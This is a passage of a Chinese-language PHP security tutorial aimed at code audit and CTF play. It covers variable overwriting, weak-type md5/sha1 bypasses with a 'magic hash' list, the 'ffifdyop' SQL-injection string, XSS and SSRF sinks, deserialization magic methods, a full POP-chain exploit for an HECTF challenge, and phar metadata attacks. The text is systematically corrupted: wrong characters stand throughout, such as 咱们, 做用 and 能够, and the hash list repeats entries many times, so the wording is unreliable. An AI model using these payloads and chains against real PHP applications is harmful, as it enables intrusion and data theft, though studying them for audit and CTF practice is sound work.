    parse_str("name=Ameng&age=21");
    echo "$name, $age";
?>
执行结果——>
Ameng, 21

经过上述代码,咱们能够发现,变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个做用仍是存在的,且没有任何危险提示。

import_request_variables()

此函数将GET/POST/Cookie变量导入到全局做用域中。从而可以达到变量覆盖的做用。

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0

bool import_request_variables ( string $types [, string $prefix ] )

参数

  • types:指定须要导入的变量,能够用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,因此你可使用 g 、 p 和 c 的任何组合。POST 包含了经过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。
  • prefix:变量名的前缀,置于全部被导入到全局做用域的变量以前。因此若是你有个名为 userid 的 GET 变量,同时提供了 pref_ 做为前缀,那么你将得到一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但若是不指定前缀,或者指定一个空字符串做为前缀,你将得到一个 E_NOTICE 级别的错误。

代码示例:

<?php
    $name = 'who';
	import_request_variables('gp');
	if($name == 'Ameng'){
		echo $name;
	}
	else{
		echo 'You are not Ameng';
	}
?>

若是什么变量也不传,那么页面将回显You are not Ameng若是经过GET或者POST传入name=Ameng那么页面就会回显Ameng

能够见到此函数仍是很危险的,没有修复方法,不使用就是最好的方法。因此在新版本的 PHP 中已经废弃了这个函数。

foreach()

foreach 语法结构提供了遍历数组的简单方式。foreach 仅可以应用于数组和对象,若是尝试应用于其余数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 而且数组内部的指针向前移一步(所以下一次循环中将会获得下一个单元)。

第二种格式作一样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。

那么这个函数如何实现变量的覆盖呢?咱们来看个案例.

代码示例:

<?php
    $name = 'who';
    foreach($_GET as $key => $value)	{  
            $$key = $value;  
    }  
    if($name == "Ameng"){
        echo 'You are right!';
    }
	else{
        echo 'You are flase!';
    }
?>

那么执行结果是怎样的呢?当咱们直接打开页面的时候它会输出You are false!,而当咱们经过GET传参name=Ameng的时候,它会回显You are right!。那么这是为何呢?咱们来分析一下

关键点就在于$$这种写法。这种写法称为可变变量。一个变量可以获取一个普通变量的值做为这个可变变量的变量名。当使用foreach来遍历数组中的值,而后再将获取到的数组键名做为变量,数组中的键值做为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其执行过程为$$key=$name,最后赋值为$value,从而实现了变量覆盖。

弱类型比较

md5()函数和sha1()绕过

关于这两个函数想必咱们不陌生,不管是在实际代码审计中,仍是在CTF比赛中,这些咱们都是碰到过的函数。那么当咱们遇到用这两个函数来判断的时候,若是绕过呢?

PHP 在处理哈希字符串的时候,会使用!=或者==来对哈希值进行比较,它会把每个0E开头的哈希值都解释为0,那么这个时候问题就来了,若是两个不一样的值,通过哈希之后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视做相等处理。那么0E开头的哈希值有哪些呢?

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

来个简单的例子吧

代码示例:

<?php
    $a = $_GET['a'];
	$b = $_GET['b'];
	if($a != $b && md5($a) == md5($b)){
        echo '这就是弱类型绕过';
    }
	else{
        echo '再思考一下';
    }
?>

从上面我给出的哪些值中,挑两个不一样的值传入参数,就能看到相应的结果

上面是md5()函数的绕过姿式,那么sha1()如何绕过呢?再来看一个简单的例子

<?php
    $a = $_GET['a'];
	$b = $_GET['b'];
	if(isset($a,$b)){
		if(sha1($a) === sha1($b)){
			echo 'nice!!!';
		}
		else{
			echo 'Try again!';
		}
	}
?>

当咱们传入a[]=1&b[]=2的时候,虽然它会给出警告,说咱们应该传入字符串而不该该是数组,可是它仍是输出了nice!!!,因此咱们彻底能够用数字来绕过sha1()函数的比较。

is_numeric()绕过

咱们先来了解一下这个函数。此函数是检测变量是否为数字或者数字字符串

is_numeric( mixed $var) : bool

若是var是数字或者数字字符串那么就返回TRUE,不然就返回FALSE。那么这里说的绕过是什么姿式呢?是十六进制。咱们先来看一个简单的例子。

代码示例:

<?php
    $a = is_numeric('0x31206f722031');
	if($a){
        echo 'It meets my requirement';
    }
	else{
        echo 'Try again';
    }
?>
执行结果——>
It meets my requirement

这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里能够看出,若是某处使用了此函数,并将修饰后的变量带入数据库查询语句中,那么咱们就能利用此漏洞实现sql注入。一样的,这个漏洞再CTF比赛中也是很常见的。

in_array()绕过

此函数用来检测数组中是否存在某个值。

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool

参数

  • needle:带搜索的值(区分大小写)。
  • haystack:带搜索的数组。
  • strict:若此参数的值为TRUE,那么in_array()函数将会检查needle的类型是否和haystack中的类型相同。

有时候咱们再传入一个数组的时候,代码可能会过滤某些敏感字符串,可是咱们又须要传入这样的字符串,那么咱们应该如何绕过它的检测呢?

<?php
    $myarr = array('Ameng');
	$needle = 0;
	if(in_array($needle,$myarr)){
        echo "It's in array";
    }
	else{
        echo "not in array";
    }
?>

上面代码示例执行的结果会是什么呢?从简单的逻辑上分析。0是不存在要搜索的数组中的,因此理论上,应该是输出not in array,可是实际却输出了It's in array。这是为何呢?缘由就在于PHP的默认类型转换。这里咱们第三个参数并无设置为true那么默认就是非严格比较,因此在数字与字符串进行比较时,字符串先被强制转换成数字,而后再进行比较。而且由于某些类型转换正在发生,就会致使发生数据丢失,而且都被视为相同。因此归根到底仍是非严格比较致使的问题。因此再遇到这个函数用来变量检测的时候,咱们能够看看第三个参数是否开启,若未开启,则存在数组绕过。

XSS

在这里首先你要对XSS的基本原理要知道。PHP中一下这些函数之因此会出现XSS的漏洞状况,主要仍是没有对输出的变量进行过滤。

print()

代码示例:

<?php
	$str = $_GET['x'];
	print($str);
?>

代码示例:

<?php
	$str = $_GET['x'];
	print_r($str);
?>

echo()

代码示例:

<?php
	$str = $_GET['x'];
	echo "$str";
?>

咱们传入相应参数,执行结果以下:

printf()

代码示例:

<?php
	$str = $_GET['x'];
	printf($str);
?>

执行结果和上面相同,我就再也不贴图片了。

sprintf()

代码示例:

<?php
	$str = $_GET['x'];
	$a = sprintf($str);
	echo "$a";
?>

die()

此函数输出一条信息,并退出当前脚本。

代码示例:

<?php
	$str = $_GET['x'];
	die($str);
?>

var_dump()

此函数打印变量的相关信息,用来显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开之,经过缩进显示其结构。

代码示例:

<?php
	$str = $_GET['x'];
	$a = array($str);
	var_dump($a);
?>

var_export()

此函数输出或者返回一个变量的字符串表示。它返回关于传递给该函数的变量的结构信息,和var_dump相似,不一样的是其返回的表示是合法的 PHP 代码。

代码示例:

<?php
	$str = $_GET['x'];
	$a = array($str);
	var_export($a);
?>

PHP黑魔法

这里大部分函数的使用已经在上面详细介绍过了,这里我就针对每一种函数大概介绍一下其主要存在的利用方法。

md5()

md5()函数绕过sql注入。咱们来看一个例子。

代码示例:

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
}
else{
    echo '密码错误!';
}

这里提交的参数经过md5函数处理,而后再进入SQL查询语句,因此常规的注入手段就不行了,那么若是md5后的转换成字符串格式变成了'or'xxxx的格式,不就能够注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

转成字符串为'or'6xxx

eval()

在执行命令时,可以使用分号构造处多条语句。相似这种。

<?php
	$cmd = "echo 'a';echo '--------------';echo 'b';";
	echo eval($cmd);
?>

ereg()

存在%00截断,当遇到使用此函数来进行正则匹配时,咱们能够用%00来截断正则匹配,从而绕过正则。

strcmp()

这个在前面介绍过,就是数组绕过技巧。

curl_setopt()

存在ssrf漏洞。

代码示例:

<?php
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
    #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_exec($ch);
    curl_close($ch);
?>

使用file协议进行任意文件读取

除此以外还有dict协议查看端口信息。gopher协议反弹shell利用等。

preg_replace()

此函数前面详细介绍过,/e模式下的命令执行。

urldecode()

url二次编码绕过。

代码示例:

<?php
	$name = urldecode($_GET['name']);
	if($name = "Ameng"){
		echo "Plase~";
	}
	else{
		echo "sorry";
	}
?>

将Ameng进行二次url编码,而后传入便可获得知足条件。

file_get_contents()

经常使用伪协议来进行绕过。

parse_url()

此函数主要用于绕过某些过滤,先简单了解一下函数的基本用法。

代码示例:

<?php
	$url = "http://www.jlx-love.com/about";
	$parts = parse_url($url);
	print_r($parts);
?>
    
执行结果——>
Array 
    ( 
    [scheme] => http 
    [host] => www.jlx-love.com 		[path] => /about 
	)

能够看到这个函数把咱们的变量值拆分红一个几个部分。那么绕过过滤又是说的哪回事呢?其实就是当咱们在浏览器输入url时,那么就会将url中的\转换为/,从而就会致使parse_url的白名单绕过。

反序列化漏洞

简介

在了解一些函数以前,咱们首先须要了解什么是序列化和反序列化。

序列化:把对象转换为字节序列的过程成为对象的序列化。

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

在 PHP 中主要就是经过serializeunserialize来实现数据的序列化和反序列化。

那么漏洞是如何造成的呢?

PHP 的反序列化漏洞主要是由于未对用户输入的序列化字符串进行检测,致使攻击者能够控制反序列化的过程,从而就能够致使各类危险行为。

那么咱们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,咱们才能更好的理解和利用漏洞。因此咱们来构造一段序列化的值。

代码示例:

<?php
    class Ameng{
    public $who = "Ameng";
	}
	$a = serialize(new Ameng);
	echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}

这里还要补充一点,就是关于变量的分类,变量的类别有三种:

  • public:正常操做,在反序列化时原型就行。
  • protected:反序列化时在变量名前加上%00*%00。
  • private:反序列化时在变量名前加上%00类名%00。

序列化咱们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

__wakeup()

在咱们反序列化时,会先检查类中是否存在__wakeup()若是存在,则执行。可是若是对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        function __destruct(){ 
            echo "destruct执行<br>";

            echo highlight_file($this->name, true); 
        } 
         

        function __wakeup(){ 
            echo "wakeup执行<br>";
            $this->name='1.php'; 
        } 
    }
	$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
	unserialize($data);
?>

执行结果:

__sleep()

__sleep()函数恰好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?咱们看看代码。

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 
		
		public function __construct($name){
        $this->name=$name;
    }
		
		function __sleep(){
			echo "sleep()执行<br>";
			echo highlight_file($this->name, true);
		}
		
		function __destruct(){
			echo "over<br>";
		}
		
        function __wakeup(){ 
            echo "wakeup执行<br>";         
        } 
    }
	$a = new Ameng("2.php");
	$b = serialize($a);
?>

执行结果:

__destruct()

这个函数的做用其实在上面的例子中已经显示了,就是在对象被销毁时调用,假若这个函数中有命令执行之类的功能,咱们彻底能够利用这一点来进行漏洞的利用,获得本身想要的结果。

__construct()

这个函数的做用在__sleep()也是体现了的,这个函数就是在一个对象被建立时会调用这个函数,好比我在__sleep()中用这个函数来对变量进行赋值。

__call()

此函数用来监视一个对象中的其余方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		
		public function __call($name,$args){
			echo "<br>"."call执行失败";
		}
		
		public static function __callStatic($name,$args){
			echo "<br>"."callStatic执行失败";
		}
    }
	$a = new Ameng;
	$a->b();
	Ameng::b();
?>

执行结果:

__callStatic()

这个方法是 PHP5.3 增长的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得咱们关注的呢?想想,假若这两个函数中有命令执行的函数,那么咱们调用对象中不存在方法时就能够调用这两个函数,这不就达到咱们想要的目的了。

__get()

通常来讲,咱们老是把类的属性定义为private。但有时候咱们对属性的读取和赋值是很是频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

get方法用来获取私有成员属性的值。

代码示例:

//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}

参数

  • $name:要获取成员属性的名称。

__set()

此方法用来给私有成员属性赋值。

代码示例:

//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}

参数

  • $name:要赋值的属性名。
  • $value:给属性赋值的值。

__isset()

这个函数是当咱们对不可访问属性调用isset()或者empty()时调用。

在这以前咱们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。因此这个时候问题就来了,若是咱们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

若对象的成员是公有成员,那没什么问题。假若对象的成员是私有成员,那这个函数就不行了,人家根本就不容许你访问,你咋能检测人家是否设定了呢?那咱们该怎么办?这个时候咱们能够在类里面加上__isset()方法,接下来就可使用isset()在对象外面访问对象里面的私有成员了。

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		private $name;
		
		public function __construct($name=""){
			$this->name = $name;
		}
		
		public function __isset($content){
			echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	echo isset($ameng->name);
?>

执行结果:

__unset()

这个方法基本和__insset状况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

代码示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		private $name;
		
		public function __construct($name=""){
			$this->name = $name;
		}
		
		public function __unset($content){
			echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	unset($ameng->name);
?>

执行结果:

toString()

此函数是将一个对象看成一个字符串来使用时,就会自动调用该方法,且在该方法中,能够返回必定的字符串,来表示该对象转换为字符串以后的结果。

一般状况下,咱们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,可是咱们不能直接echo去输出对象,但是当咱们使用__tostring()就能够直接用echo来输出了。

代码示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __toString(){
            return $this->name . $this->age . '岁了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	echo $ameng;
?>

执行结果:

Ameng3岁了

__invoke()

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

版本要求:

PHP > 5.3.0

代码示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __invoke(){
           echo '你用调用函数的方式调用了这个对象,因此我起做用了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,因此我起做用

pop链的构造

思路

  1. 寻找位点(unserialize函数—>变量可控)
  2. 正向构造(各类方法)
  3. 反向推理(从要完成的目的出发,反向推理,最后找到最早被调用的位置处)

来看一个简单的例子(HECTF):

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
         $this->token =&$this->token_flag;
    }
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}
if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}

咱们要拿到flag,在__invoke()函数,当对象被看成函数调用时,那么就会自动执行该函数。因此咱们要作的就是用函数来调用对象。

那么咱们首先找到起点,就是unserialize函数的变量,由于这个变量是咱们可控的,可是确定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

经过函数的过程搜索,咱们可以看到preg_match第二个参数会被看成字符串处理,在类Test中,咱们能够给$func赋值给Read对象。

那么咱们能够构造以下pop链

<?php 
    ··········
    $read = new Read();
    $show = new Show();
    $test = new Test();
	
	$read->token = &$read->token_flag;
    $test->params = $read;
    $show->str['str'] = $test;
    $show->source = $show;
    echo serialize($show);
?>

给个图总结一下:

phar与反序列化

简介

PHAR("PHP archive")是PHP里相似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

文件结构

  1. a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,不然phar扩展没法将该文件识别为phar文件。

  2. 官方手册

    phar文件本质上是一种压缩文件,其中每一个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

实验

前提:将php.ini中的phar.readonly选项设置为off,否则没法生成phar文件。

phar.php:
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='Hello I am Ameng';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

在咱们访问以后,会在当前目录下生成一个phar.phar文件,以下图所示。

而后查看文件的十六进制形式,咱们就能够看到meta-data是以序列化的形式存储。既然存在序列化的数据,那确定有序列化的逆向操做反序列化。那么这里在PHP中存在不少经过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数以下图

Ameng.php
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

执行结果:

这里简单介绍一下phar的大体应用,更详细能够参考seebug

其余一些总结

basename()

此函数返回路径中的文件名的一部分(后面)

basename(path,suffix)

参数

  • path:必需。规定要检查的路径。
  • suffix:可选。规定文件的扩展名。

代码示例:

<?php
    $path = "index.php/test.php";
	echo basename($path);
?>
        
执行结果——>
test.php

此函数还有一个特色,就是会去掉文件名的非ASCII码值。

代码示例:

<?php
	$path = $_GET['x'];
	print_r(basename($path));
?>

咱们经过 url 传入参数x=index.php/config.php/%ff

结果以下:

咱们看到,%ff直接没了,而是直接输出前面的的文件名,这个能够用来绕过一些正则匹配。缘由就在于%ff在经过 url 传参时会被 url 解码,解码成了不可见字符,知足了basename函数对文件名的非ASCII值去除的特色,从而被删掉。

相关文章
相关标签/搜索